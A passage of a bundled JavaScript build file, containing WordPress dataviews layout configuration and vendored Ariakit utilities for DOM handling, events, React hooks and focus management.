6117 /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(
6118 import_components18.__experimentalToggleGroupControlOption,
6119 {
6120 value: "balanced",
6121 label: (0, import_i18n26._x)("Balanced", "Density option for DataView layout")
6122 },
6123 "balanced"
6124 ),
6125 /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(
6126 import_components18.__experimentalToggleGroupControlOption,
6127 {
6128 value: "compact",
6129 label: (0, import_i18n26._x)("Compact", "Density option for DataView layout")
6130 },
6131 "compact"
6132 )
6133 ]
6134 }
6135 );
6136 }
6137
6138 // packages/dataviews/build-module/components/dataviews-layouts/index.mjs
6139 var VIEW_LAYOUTS = [
6140 {
6141 type: LAYOUT_TABLE,
6142 label: (0, import_i18n27.__)("Table"),
6143 component: table_default,
6144 icon: block_table_default,
6145 viewConfigOptions: DensityPicker
6146 },
6147 {
6148 type: LAYOUT_GRID,
6149 label: (0, import_i18n27.__)("Grid"),
6150 component: grid_default,
6151 icon: category_default,
6152 viewConfigOptions: PreviewSizePicker
6153 },
6154 {
6155 type: LAYOUT_LIST,
6156 label: (0, import_i18n27.__)("List"),
6157 component: ViewList,
6158 icon: (0, import_i18n27.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
6159 viewConfigOptions: DensityPicker
6160 },
6161 {
6162 type: LAYOUT_ACTIVITY,
6163 label: (0, import_i18n27.__)("Activity"),
6164 component: ViewActivity,
6165 icon: scheduled_default,
6166 viewConfigOptions: DensityPicker
6167 },
6168 {
6169 type: LAYOUT_PICKER_GRID,
6170 label: (0, import_i18n27.__)("Grid"),
6171 component: picker_grid_default,
6172 icon: category_default,
6173 viewConfigOptions: PreviewSizePicker,
6174 isPicker: true
6175 },
6176 {
6177 type: LAYOUT_PICKER_TABLE,
6178 label: (0, import_i18n27.__)("Table"),
6179 component: picker_table_default,
6180 icon: block_table_default,
6181 viewConfigOptions: DensityPicker,
6182 isPicker: true
6183 }
6184 ];
6185
6186 // packages/dataviews/build-module/components/dataviews-filters/filters.mjs
6187 var import_element31 = __toESM(require_element(), 1);
6188
6189 // packages/dataviews/build-module/components/dataviews-filters/filter.mjs
6190 var import_components21 = __toESM(require_components(), 1);
6191 var import_i18n30 = __toESM(require_i18n(), 1);
6192 var import_element28 = __toESM(require_element(), 1);
6193
6194 // node_modules/@ariakit/core/esm/__chunks/XMCVU3LR.js
6195 function noop2(..._) {
6196 }
6197 function applyState(argument, currentValue) {
6198 if (isUpdater(argument)) {
6199 const value = isLazyValue(currentValue) ? currentValue() : currentValue;
6200 return argument(value);
6201 }
6202 return argument;
6203 }
6204 function isUpdater(argument) {
6205 return typeof argument === "function";
6206 }
6207 function isLazyValue(value) {
6208 return typeof value === "function";
6209 }
6210 function hasOwnProperty(object, prop) {
6211 if (typeof Object.hasOwn === "function") {
6212 return Object.hasOwn(object, prop);
6213 }
6214 return Object.prototype.hasOwnProperty.call(object, prop);
6215 }
6216 function chain(...fns) {
6217 return (...args) => {
6218 for (const fn of fns) {
6219 if (typeof fn === "function") {
6220 fn(...args);
6221 }
6222 }
6223 };
6224 }
6225 function normalizeString(str) {
6226 return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
6227 }
6228 function omit(object, keys) {
6229 const result = { ...object };
6230 for (const key of keys) {
6231 if (hasOwnProperty(result, key)) {
6232 delete result[key];
6233 }
6234 }
6235 return result;
6236 }
6237 function pick(object, paths) {
6238 const result = {};
6239 for (const key of paths) {
6240 if (hasOwnProperty(object, key)) {
6241 result[key] = object[key];
6242 }
6243 }
6244 return result;
6245 }
6246 function identity(value) {
6247 return value;
6248 }
6249 function invariant(condition, message2) {
6250 if (condition) return;
6251 if (typeof message2 !== "string") throw new Error("Invariant failed");
6252 throw new Error(message2);
6253 }
6254 function getKeys(obj) {
6255 return Object.keys(obj);
6256 }
6257 function isFalsyBooleanCallback(booleanOrCallback, ...args) {
6258 const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
6259 if (result == null) return false;
6260 return !result;
6261 }
6262 function disabledFromProps(props) {
6263 return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
6264 }
6265 function removeUndefinedValues(obj) {
6266 const result = {};
6267 for (const key in obj) {
6268 if (obj[key] !== void 0) {
6269 result[key] = obj[key];
6270 }
6271 }
6272 return result;
6273 }
6274 function defaultValue(...values) {
6275 for (const value of values) {
6276 if (value !== void 0) return value;
6277 }
6278 return void 0;
6279 }
6280
6281 // node_modules/@ariakit/react-core/esm/__chunks/YXGXYGQX.js
6282 var import_react4 = __toESM(require_react(), 1);
6283 function setRef(ref, value) {
6284 if (typeof ref === "function") {
6285 ref(value);
6286 } else if (ref) {
6287 ref.current = value;
6288 }
6289 }
6290 function isValidElementWithRef(element) {
6291 if (!element) return false;
6292 if (!(0, import_react4.isValidElement)(element)) return false;
6293 if ("ref" in element.props) return true;
6294 if ("ref" in element) return true;
6295 return false;
6296 }
6297 function getRefProperty(element) {
6298 if (!isValidElementWithRef(element)) return null;
6299 const props = { ...element.props };
6300 return props.ref || element.ref;
6301 }
6302 function mergeProps2(base, overrides) {
6303 const props = { ...base };
6304 for (const key in overrides) {
6305 if (!hasOwnProperty(overrides, key)) continue;
6306 if (key === "className") {
6307 const prop = "className";
6308 props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
6309 continue;
6310 }
6311 if (key === "style") {
6312 const prop = "style";
6313 props[prop] = base[prop] ? { ...base[prop], ...overrides[prop] } : overrides[prop];
6314 continue;
6315 }
6316 const overrideValue = overrides[key];
6317 if (typeof overrideValue === "function" && key.startsWith("on")) {
6318 const baseValue = base[key];
6319 if (typeof baseValue === "function") {
6320 props[key] = (...args) => {
6321 overrideValue(...args);
6322 baseValue(...args);
6323 };
6324 continue;
6325 }
6326 }
6327 props[key] = overrideValue;
6328 }
6329 return props;
6330 }
6331
6332 // node_modules/@ariakit/core/esm/__chunks/3DNM6L6E.js
6333 var canUseDOM = checkIsBrowser();
6334 function checkIsBrowser() {
6335 var _a;
6336 return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
6337 }
6338 function getDocument(node) {
6339 if (!node) return document;
6340 if ("self" in node) return node.document;
6341 return node.ownerDocument || document;
6342 }
6343 function getActiveElement(node, activeDescendant = false) {
6344 var _a;
6345 const { activeElement } = getDocument(node);
6346 if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
6347 return null;
6348 }
6349 if (isFrame(activeElement) && ((_a = activeElement.contentDocument) == null ? void 0 : _a.body)) {
6350 return getActiveElement(
6351 activeElement.contentDocument.body,
6352 activeDescendant
6353 );
6354 }
6355 if (activeDescendant) {
6356 const id = activeElement.getAttribute("aria-activedescendant");
6357 if (id) {
6358 const element = getDocument(activeElement).getElementById(id);
6359 if (element) {
6360 return element;
6361 }
6362 }
6363 }
6364 return activeElement;
6365 }
6366 function contains(parent, child) {
6367 return parent === child || parent.contains(child);
6368 }
6369 function isFrame(element) {
6370 return element.tagName === "IFRAME";
6371 }
6372 function isButton(element) {
6373 const tagName = element.tagName.toLowerCase();
6374 if (tagName === "button") return true;
6375 if (tagName === "input" && element.type) {
6376 return buttonInputTypes.indexOf(element.type) !== -1;
6377 }
6378 return false;
6379 }
6380 var buttonInputTypes = [
6381 "button",
6382 "color",
6383 "file",
6384 "image",
6385 "reset",
6386 "submit"
6387 ];
6388 function isVisible(element) {
6389 if (typeof element.checkVisibility === "function") {
6390 return element.checkVisibility();
6391 }
6392 const htmlElement = element;
6393 return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
6394 }
6395 function isTextField(element) {
6396 try {
6397 const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
6398 const isTextArea = element.tagName === "TEXTAREA";
6399 return isTextInput || isTextArea || false;
6400 } catch (_error) {
6401 return false;
6402 }
6403 }
6404 function isTextbox(element) {
6405 return element.isContentEditable || isTextField(element);
6406 }
6407 function getTextboxValue(element) {
6408 if (isTextField(element)) {
6409 return element.value;
6410 }
6411 if (element.isContentEditable) {
6412 const range = getDocument(element).createRange();
6413 range.selectNodeContents(element);
6414 return range.toString();
6415 }
6416 return "";
6417 }
6418 function getTextboxSelection(element) {
6419 let start = 0;
6420 let end = 0;
6421 if (isTextField(element)) {
6422 start = element.selectionStart || 0;
6423 end = element.selectionEnd || 0;
6424 } else if (element.isContentEditable) {
6425 const selection = getDocument(element).getSelection();
6426 if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
6427 const range = selection.getRangeAt(0);
6428 const nextRange = range.cloneRange();
6429 nextRange.selectNodeContents(element);
6430 nextRange.setEnd(range.startContainer, range.startOffset);
6431 start = nextRange.toString().length;
6432 nextRange.setEnd(range.endContainer, range.endOffset);
6433 end = nextRange.toString().length;
6434 }
6435 }
6436 return { start, end };
6437 }
6438 function getPopupRole(element, fallback) {
6439 const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
6440 const role = element == null ? void 0 : element.getAttribute("role");
6441 if (role && allowedPopupRoles.indexOf(role) !== -1) {
6442 return role;
6443 }
6444 return fallback;
6445 }
6446 function getScrollingElement(element) {
6447 if (!element) return null;
6448 const isScrollableOverflow = (overflow) => {
6449 if (overflow === "auto") return true;
6450 if (overflow === "scroll") return true;
6451 return false;
6452 };
6453 if (element.clientHeight && element.scrollHeight > element.clientHeight) {
6454 const { overflowY } = getComputedStyle(element);
6455 if (isScrollableOverflow(overflowY)) return element;
6456 } else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
6457 const { overflowX } = getComputedStyle(element);
6458 if (isScrollableOverflow(overflowX)) return element;
6459 }
6460 return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
6461 }
6462 function setSelectionRange(element, ...args) {
6463 if (/text|search|password|tel|url/i.test(element.type)) {
6464 element.setSelectionRange(...args);
6465 }
6466 }
6467 function sortBasedOnDOMPosition(items, getElement) {
6468 const pairs = items.map((item, index) => [index, item]);
6469 let isOrderDifferent = false;
6470 pairs.sort(([indexA, a2], [indexB, b2]) => {
6471 const elementA = getElement(a2);
6472 const elementB = getElement(b2);
6473 if (elementA === elementB) return 0;
6474 if (!elementA || !elementB) return 0;
6475 if (isElementPreceding(elementA, elementB)) {
6476 if (indexA > indexB) {
6477 isOrderDifferent = true;
6478 }
6479 return -1;
6480 }
6481 if (indexA < indexB) {
6482 isOrderDifferent = true;
6483 }
6484 return 1;
6485 });
6486 if (isOrderDifferent) {
6487 return pairs.map(([_, item]) => item);
6488 }
6489 return items;
6490 }
6491 function isElementPreceding(a2, b2) {
6492 return Boolean(
6493 b2.compareDocumentPosition(a2) & Node.DOCUMENT_POSITION_PRECEDING
6494 );
6495 }
6496
6497 // node_modules/@ariakit/core/esm/__chunks/SNHYQNEZ.js
6498 function isTouchDevice() {
6499 return canUseDOM && !!navigator.maxTouchPoints;
6500 }
6501 function isApple() {
6502 if (!canUseDOM) return false;
6503 return /mac|iphone|ipad|ipod/i.test(navigator.platform);
6504 }
6505 function isSafari() {
6506 return canUseDOM && isApple() && /apple/i.test(navigator.vendor);
6507 }
6508 function isFirefox() {
6509 return canUseDOM && /firefox\//i.test(navigator.userAgent);
6510 }
6511
6512 // node_modules/@ariakit/core/esm/utils/events.js
6513 function isPortalEvent(event) {
6514 return Boolean(
6515 event.currentTarget && !contains(event.currentTarget, event.target)
6516 );
6517 }
6518 function isSelfTarget(event) {
6519 return event.target === event.currentTarget;
6520 }
6521 function isOpeningInNewTab(event) {
6522 const element = event.currentTarget;
6523 if (!element) return false;
6524 const isAppleDevice = isApple();
6525 if (isAppleDevice && !event.metaKey) return false;
6526 if (!isAppleDevice && !event.ctrlKey) return false;
6527 const tagName = element.tagName.toLowerCase();
6528 if (tagName === "a") return true;
6529 if (tagName === "button" && element.type === "submit") return true;
6530 if (tagName === "input" && element.type === "submit") return true;
6531 return false;
6532 }
6533 function isDownloading(event) {
6534 const element = event.currentTarget;
6535 if (!element) return false;
6536 const tagName = element.tagName.toLowerCase();
6537 if (!event.altKey) return false;
6538 if (tagName === "a") return true;
6539 if (tagName === "button" && element.type === "submit") return true;
6540 if (tagName === "input" && element.type === "submit") return true;
6541 return false;
6542 }
6543 function fireBlurEvent(element, eventInit) {
6544 const event = new FocusEvent("blur", eventInit);
6545 const defaultAllowed = element.dispatchEvent(event);
6546 const bubbleInit = { ...eventInit, bubbles: true };
6547 element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
6548 return defaultAllowed;
6549 }
6550 function fireKeyboardEvent(element, type, eventInit) {
6551 const event = new KeyboardEvent(type, eventInit);
6552 return element.dispatchEvent(event);
6553 }
6554 function fireClickEvent(element, eventInit) {
6555 const event = new MouseEvent("click", eventInit);
6556 return element.dispatchEvent(event);
6557 }
6558 function isFocusEventOutside(event, container) {
6559 const containerElement = container || event.currentTarget;
6560 const relatedTarget = event.relatedTarget;
6561 return !relatedTarget || !contains(containerElement, relatedTarget);
6562 }
6563 function queueBeforeEvent(element, type, callback, timeout) {
6564 const createTimer = (callback2) => {
6565 if (timeout) {
6566 const timerId2 = setTimeout(callback2, timeout);
6567 return () => clearTimeout(timerId2);
6568 }
6569 const timerId = requestAnimationFrame(callback2);
6570 return () => cancelAnimationFrame(timerId);
6571 };
6572 const cancelTimer = createTimer(() => {
6573 element.removeEventListener(type, callSync, true);
6574 callback();
6575 });
6576 const callSync = () => {
6577 cancelTimer();
6578 callback();
6579 };
6580 element.addEventListener(type, callSync, { once: true, capture: true });
6581 return cancelTimer;
6582 }
6583 function addGlobalEventListener(type, listener, options, scope = window) {
6584 const children = [];
6585 try {
6586 scope.document.addEventListener(type, listener, options);
6587 for (const frame of Array.from(scope.frames)) {
6588 children.push(addGlobalEventListener(type, listener, options, frame));
6589 }
6590 } catch (e2) {
6591 }
6592 const removeEventListener = () => {
6593 try {
6594 scope.document.removeEventListener(type, listener, options);
6595 } catch (e2) {
6596 }
6597 for (const remove of children) {
6598 remove();
6599 }
6600 };
6601 return removeEventListener;
6602 }
6603
6604 // node_modules/@ariakit/react-core/esm/__chunks/KPHZR4MB.js
6605 var React5 = __toESM(require_react(), 1);
6606 var import_react5 = __toESM(require_react(), 1);
6607 var _React = { ...React5 };
6608 var useReactId = _React.useId;
6609 var useReactDeferredValue = _React.useDeferredValue;
6610 var useReactInsertionEffect = _React.useInsertionEffect;
6611 var useSafeLayoutEffect = canUseDOM ? import_react5.useLayoutEffect : import_react5.useEffect;
6612 function useInitialValue(value) {
6613 const [initialValue] = (0, import_react5.useState)(value);
6614 return initialValue;
6615 }
6616 function useLiveRef(value) {
6617 const ref = (0, import_react5.useRef)(value);
6618 useSafeLayoutEffect(() => {
6619 ref.current = value;
6620 });
6621 return ref;
6622 }
6623 function useEvent(callback) {
6624 const ref = (0, import_react5.useRef)(() => {
6625 throw new Error("Cannot call an event handler while rendering.");
6626 });
6627 if (useReactInsertionEffect) {
6628 useReactInsertionEffect(() => {
6629 ref.current = callback;
6630 });
6631 } else {
6632 ref.current = callback;
6633 }
6634 return (0, import_react5.useCallback)((...args) => {
6635 var _a;
6636 return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
6637 }, []);
6638 }
6639 function useTransactionState(callback) {
6640 const [state, setState] = (0, import_react5.useState)(null);
6641 useSafeLayoutEffect(() => {
6642 if (state == null) return;
6643 if (!callback) return;
6644 let prevState = null;
6645 callback((prev) => {
6646 prevState = prev;
6647 return state;
6648 });
6649 return () => {
6650 callback(prevState);
6651 };
6652 }, [state, callback]);
6653 return [state, setState];
6654 }
6655 function useMergeRefs(...refs) {
6656 return (0, import_react5.useMemo)(() => {
6657 if (!refs.some(Boolean)) return;
6658 return (value) => {
6659 for (const ref of refs) {
6660 setRef(ref, value);
6661 }
6662 };
6663 }, refs);
6664 }
6665 function useId3(defaultId) {
6666 if (useReactId) {
6667 const reactId = useReactId();
6668 if (defaultId) return defaultId;
6669 return reactId;
6670 }
6671 const [id, setId] = (0, import_react5.useState)(defaultId);
6672 useSafeLayoutEffect(() => {
6673 if (defaultId || id) return;
6674 const random = Math.random().toString(36).slice(2, 8);
6675 setId(`id-${random}`);
6676 }, [defaultId, id]);
6677 return defaultId || id;
6678 }
6679 function useTagName(refOrElement, type) {
6680 const stringOrUndefined = (type2) => {
6681 if (typeof type2 !== "string") return;
6682 return type2;
6683 };
6684 const [tagName, setTagName] = (0, import_react5.useState)(() => stringOrUndefined(type));
6685 useSafeLayoutEffect(() => {
6686 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
6687 setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
6688 }, [refOrElement, type]);
6689 return tagName;
6690 }
6691 function useAttribute(refOrElement, attributeName, defaultValue2) {
6692 const initialValue = useInitialValue(defaultValue2);
6693 const [attribute, setAttribute] = (0, import_react5.useState)(initialValue);
6694 (0, import_react5.useEffect)(() => {
6695 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
6696 if (!element) return;
6697 const callback = () => {
6698 const value = element.getAttribute(attributeName);
6699 setAttribute(value == null ? initialValue : value);
6700 };
6701 const observer = new MutationObserver(callback);
6702 observer.observe(element, { attributeFilter: [attributeName] });
6703 callback();
6704 return () => observer.disconnect();
6705 }, [refOrElement, attributeName, initialValue]);
6706 return attribute;
6707 }
6708 function useUpdateEffect(effect, deps) {
6709 const mounted = (0, import_react5.useRef)(false);
6710 (0, import_react5.useEffect)(() => {
6711 if (mounted.current) {
6712 return effect();
6713 }
6714 mounted.current = true;
6715 }, deps);
6716 (0, import_react5.useEffect)(
6717 () => () => {
6718 mounted.current = false;
6719 },
6720 []
6721 );
6722 }
6723 function useUpdateLayoutEffect(effect, deps) {
6724 const mounted = (0, import_react5.useRef)(false);
6725 useSafeLayoutEffect(() => {
6726 if (mounted.current) {
6727 return effect();
6728 }
6729 mounted.current = true;
6730 }, deps);
6731 useSafeLayoutEffect(
6732 () => () => {
6733 mounted.current = false;
6734 },
6735 []
6736 );
6737 }
6738 function useForceUpdate() {
6739 return (0, import_react5.useReducer)(() => [], []);
6740 }
6741 function useBooleanEvent(booleanOrCallback) {
6742 return useEvent(
6743 typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
6744 );
6745 }
6746 function useWrapElement(props, callback, deps = []) {
6747 const wrapElement = (0, import_react5.useCallback)(
6748 (element) => {
6749 if (props.wrapElement) {
6750 element = props.wrapElement(element);
6751 }
6752 return callback(element);
6753 },
6754 [...deps, props.wrapElement]
6755 );
6756 return { ...props, wrapElement };
6757 }
6758 function useMetadataProps(props, key, value) {
6759 const parent = props.onLoadedMetadataCapture;
6760 const onLoadedMetadataCapture = (0, import_react5.useMemo)(() => {
6761 return Object.assign(() => {
6762 }, { ...parent, [key]: value });
6763 }, [parent, key, value]);
6764 return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
6765 }
6766 var hasInstalledGlobalEventListeners = false;
6767 function useIsMouseMoving() {
6768 (0, import_react5.useEffect)(() => {
6769 if (hasInstalledGlobalEventListeners) return;
6770 addGlobalEventListener("mousemove", setMouseMoving, true);
6771 addGlobalEventListener("mousedown", resetMouseMoving, true);
6772 addGlobalEventListener("mouseup", resetMouseMoving, true);
6773 addGlobalEventListener("keydown", resetMouseMoving, true);
6774 addGlobalEventListener("scroll", resetMouseMoving, true);
6775 hasInstalledGlobalEventListeners = true;
6776 }, []);
6777 const isMouseMoving = useEvent(() => mouseMoving);
6778 return isMouseMoving;
6779 }
6780 var mouseMoving = false;
6781 var previousScreenX = 0;
6782 var previousScreenY = 0;
6783 function hasMouseMovement(event) {
6784 const movementX = event.movementX || event.screenX - previousScreenX;
6785 const movementY = event.movementY || event.screenY - previousScreenY;
6786 previousScreenX = event.screenX;
6787 previousScreenY = event.screenY;
6788 return movementX || movementY || false;
6789 }
6790 function setMouseMoving(event) {
6791 if (!hasMouseMovement(event)) return;
6792 mouseMoving = true;
6793 }
6794 function resetMouseMoving() {
6795 mouseMoving = false;
6796 }
6797
6798 // node_modules/@ariakit/react-core/esm/__chunks/GWSL6KNJ.js
6799 var React6 = __toESM(require_react(), 1);
6800 var import_jsx_runtime52 = __toESM(require_jsx_runtime(), 1);
6801 function forwardRef22(render4) {
6802 const Role = React6.forwardRef(
6803 // @ts-ignore Incompatible with React 19 types. Ignore for now.
6804 (props, ref) => render4({ ...props, ref })
6805 );
6806 Role.displayName = render4.displayName || render4.name;
6807 return Role;
6808 }
6809 function memo22(Component2, propsAreEqual) {
6810 return React6.memo(Component2, propsAreEqual);
6811 }
6812 function createElement3(Type, props) {
6813 const { wrapElement, render: render4, ...rest } = props;
6814 const mergedRef = useMergeRefs(props.ref, getRefProperty(render4));
6815 let element;
6816 if (React6.isValidElement(render4)) {
6817 const renderProps = {
6818 // @ts-ignore Incompatible with React 19 types. Ignore for now.
6819 ...render4.props,
6820 ref: mergedRef
6821 };
6822 element = React6.cloneElement(render4, mergeProps2(rest, renderProps));
6823 } else if (render4) {
6824 element = render4(rest);
6825 } else {
6826 element = /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(Type, { ...rest });
6827 }
6828 if (wrapElement) {
6829 return wrapElement(element);
6830 }
6831 return element;
6832 }
6833 function createHook(useProps) {
6834 const useRole = (props = {}) => {
6835 return useProps(props);
6836 };
6837 useRole.displayName = useProps.name;
6838 return useRole;
6839 }
6840 function createStoreContext(providers = [], scopedProviders = []) {
6841 const context = React6.createContext(void 0);
6842 const scopedContext = React6.createContext(void 0);
6843 const useContext27 = () => React6.useContext(context);
6844 const useScopedContext = (onlyScoped = false) => {
6845 const scoped = React6.useContext(scopedContext);
6846 const store = useContext27();
6847 if (onlyScoped) return scoped;
6848 return scoped || store;
6849 };
6850 const useProviderContext = () => {
6851 const scoped = React6.useContext(scopedContext);
6852 const store = useContext27();
6853 if (scoped && scoped === store) return;
6854 return store;
6855 };
6856 const ContextProvider = (props) => {
6857 return providers.reduceRight(
6858 (children, Provider) => /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(Provider, { ...props, children }),
6859 /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(context.Provider, { ...props })
6860 );
6861 };
6862 const ScopedContextProvider = (props) => {
6863 return /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(ContextProvider, { ...props, children: scopedProviders.reduceRight(
6864 (children, Provider) => /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(Provider, { ...props, children }),
6865 /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(scopedContext.Provider, { ...props })
6866 ) });
6867 };
6868 return {
6869 context,
6870 scopedContext,
6871 useContext: useContext27,
6872 useScopedContext,
6873 useProviderContext,
6874 ContextProvider,
6875 ScopedContextProvider
6876 };
6877 }
6878
6879 // node_modules/@ariakit/react-core/esm/__chunks/SMPCIMZM.js
6880 var ctx = createStoreContext();
6881 var useCollectionContext = ctx.useContext;
6882 var useCollectionScopedContext = ctx.useScopedContext;
6883 var useCollectionProviderContext = ctx.useProviderContext;
6884 var CollectionContextProvider = ctx.ContextProvider;
6885 var CollectionScopedContextProvider = ctx.ScopedContextProvider;
6886
6887 // node_modules/@ariakit/react-core/esm/__chunks/AVVXDJMZ.js
6888 var import_react6 = __toESM(require_react(), 1);
6889 var ctx2 = createStoreContext(
6890 [CollectionContextProvider],
6891 [CollectionScopedContextProvider]
6892 );
6893 var useCompositeContext = ctx2.useContext;
6894 var useCompositeScopedContext = ctx2.useScopedContext;
6895 var useCompositeProviderContext = ctx2.useProviderContext;
6896 var CompositeContextProvider = ctx2.ContextProvider;
6897 var CompositeScopedContextProvider = ctx2.ScopedContextProvider;
6898 var CompositeItemContext = (0, import_react6.createContext)(
6899 void 0
6900 );
6901 var CompositeRowContext = (0, import_react6.createContext)(
6902 void 0
6903 );
6904
6905 // node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
6906 function findFirstEnabledItem(items, excludeId) {
6907 return items.find((item) => {
6908 if (excludeId) {
6909 return !item.disabled && item.id !== excludeId;
6910 }
6911 return !item.disabled;
6912 });
6913 }
6914 function getEnabledItem(store, id) {
6915 if (!id) return null;
6916 return store.item(id) || null;
6917 }
6918 function groupItemsByRows(items) {
6919 const rows = [];
6920 for (const item of items) {
6921 const row = rows.find((currentRow) => {
6922 var _a;
6923 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
6924 });
6925 if (row) {
6926 row.push(item);
6927 } else {
6928 rows.push([item]);
6929 }
6930 }
6931 return rows;
6932 }
6933 function selectTextField(element, collapseToEnd = false) {
6934 if (isTextField(element)) {
6935 element.setSelectionRange(
6936 collapseToEnd ? element.value.length : 0,
6937 element.value.length
6938 );
6939 } else if (element.isContentEditable) {
6940 const selection = getDocument(element).getSelection();
6941 selection == null ? void 0 : selection.selectAllChildren(element);
6942 if (collapseToEnd) {
6943 selection == null ? void 0 : selection.collapseToEnd();
6944 }
6945 }
6946 }
6947 var FOCUS_SILENTLY = /* @__PURE__ */ Symbol("FOCUS_SILENTLY");
6948 function focusSilently(element) {
6949 element[FOCUS_SILENTLY] = true;
6950 element.focus({ preventScroll: true });
6951 }
6952 function silentlyFocused(element) {
6953 const isSilentlyFocused = element[FOCUS_SILENTLY];
6954 delete element[FOCUS_SILENTLY];
6955 return isSilentlyFocused;
6956 }
6957 function isItem(store, element, exclude) {
6958 if (!element) return false;
6959 if (element === exclude) return false;
6960 const item = store.item(element.id);
6961 if (!item) return false;
6962 if (exclude && item.element === exclude) return false;
6963 return true;
6964 }
6965
6966 // node_modules/@ariakit/react-core/esm/__chunks/Z2O3VLAQ.js
6967 var import_react7 = __toESM(require_react(), 1);
6968 var TagName = "div";
6969 var useCollectionItem = createHook(
6970 function useCollectionItem2({
6971 store,
6972 shouldRegisterItem = true,
6973 getItem = identity,
6974 // @ts-expect-error This prop may come from a collection renderer.
6975 element,
6976 ...props
6977 }) {
6978 const context = useCollectionContext();
6979 store = store || context;
6980 const id = useId3(props.id);
6981 const ref = (0, import_react7.useRef)(element);
6982 (0, import_react7.useEffect)(() => {
6983 const element2 = ref.current;
6984 if (!id) return;
6985 if (!element2) return;
6986 if (!shouldRegisterItem) return;
6987 const item = getItem({ id, element: element2 });
6988 return store == null ? void 0 : store.renderItem(item);
6989 }, [id, shouldRegisterItem, getItem, store]);
6990 props = {
6991 ...props,
6992 ref: useMergeRefs(ref, props.ref)
6993 };
6994 return removeUndefinedValues(props);
6995 }
6996 );
6997 var CollectionItem = forwardRef22(function CollectionItem2(props) {
6998 const htmlProps = useCollectionItem(props);
6999 return createElement3(TagName, htmlProps);
7000 });
7001
7002 // node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
7003 var import_react8 = __toESM(require_react(), 1);
7004 var FocusableContext = (0, import_react8.createContext)(true);
7005
7006 // node_modules/@ariakit/core/esm/utils/focus.js
7007 var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
7008 function isFocusable(element) {
7009 if (!element.matches(selector)) return false;
7010 if (!isVisible(element)) return false;
7011 if (element.closest("[inert]")) return false;
7012 return true;
7013 }
7014 function getClosestFocusable(element) {
7015 while (element && !isFocusable(element)) {
7016 element = element.closest(selector);
7017 }
7018 return element || null;
7019 }
7020 function hasFocus(element) {
7021 const activeElement = getActiveElement(element);
7022 if (!activeElement) return false;
7023 if (activeElement === element) return true;
7024 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
7025 if (!activeDescendant) return false;
7026 return activeDescendant === element.id;
7027 }
7028 function hasFocusWithin(element) {
7029 const activeElement = getActiveElement(element);
7030 if (!activeElement) return false;
7031 if (contains(element, activeElement)) return true;
7032 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
7033 if (!activeDescendant) return false;
7034 if (!("id" in element)) return false;
7035 if (activeDescendant === element.id) return true;
7036 return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
7037 }
7038 function focusIfNeeded(element) {
7039 if (!hasFocusWithin(element) && isFocusable(element)) {
7040 element.focus();
7041 }
7042 }
7043 function focusIntoView(element, options) {
7044 if (!("scrollIntoView" in element)) {
7045 element.focus();
7046 } else {
7047 element.focus({ preventScroll: true });
7048 element.scrollIntoView({ block: "nearest", inline: "nearest", ...options });
7049 }
7050 }
7051
7052 // node_modules/@ariakit/react-core/esm/__chunks/U6HHPQDW.js
7053 var import_react9 = __toESM(require_react(), 1);
7054 var TagName2 = "div";
7055 var isSafariBrowser = isSafari();
7056 var alwaysFocusVisibleInputTypes = [
7057 "text",
7058 "search",
7059 "url",
7060 "tel",
7061 "email",
7062 "password",
7063 "number",
7064 "date",
7065 "month",
7066 "week",
7067 "time",
7068 "datetime",
7069 "datetime-local"
7070 ];
7071 var safariFocusAncestorSymbol = /* @__PURE__ */ Symbol("safariFocusAncestor");
7072 function markSafariFocusAncestor(element, value) {
7073 if (!element) return;
7074 element[safariFocusAncestorSymbol] = value;
7075 }
7076 function isAlwaysFocusVisible(element) {
7077 const { tagName, readOnly, type } = element;
7078 if (tagName === "TEXTAREA" && !readOnly) return true;
7079 if (tagName === "SELECT" && !readOnly) return true;
7080 if (tagName === "INPUT" && !readOnly) {
7081 return alwaysFocusVisibleInputTypes.includes(type);
7082 }
7083 if (element.isContentEditable) return true;
7084 const role = element.getAttribute("role");
7085 if (role === "combobox" && element.dataset.name) {
7086 return true;
7087 }
7088 return false;
7089 }
7090 function getLabels(element) {
7091 if ("labels" in element) {
7092 return element.labels;
7093 }
7094 return null;
7095 }
7096 function isNativeCheckboxOrRadio(element) {
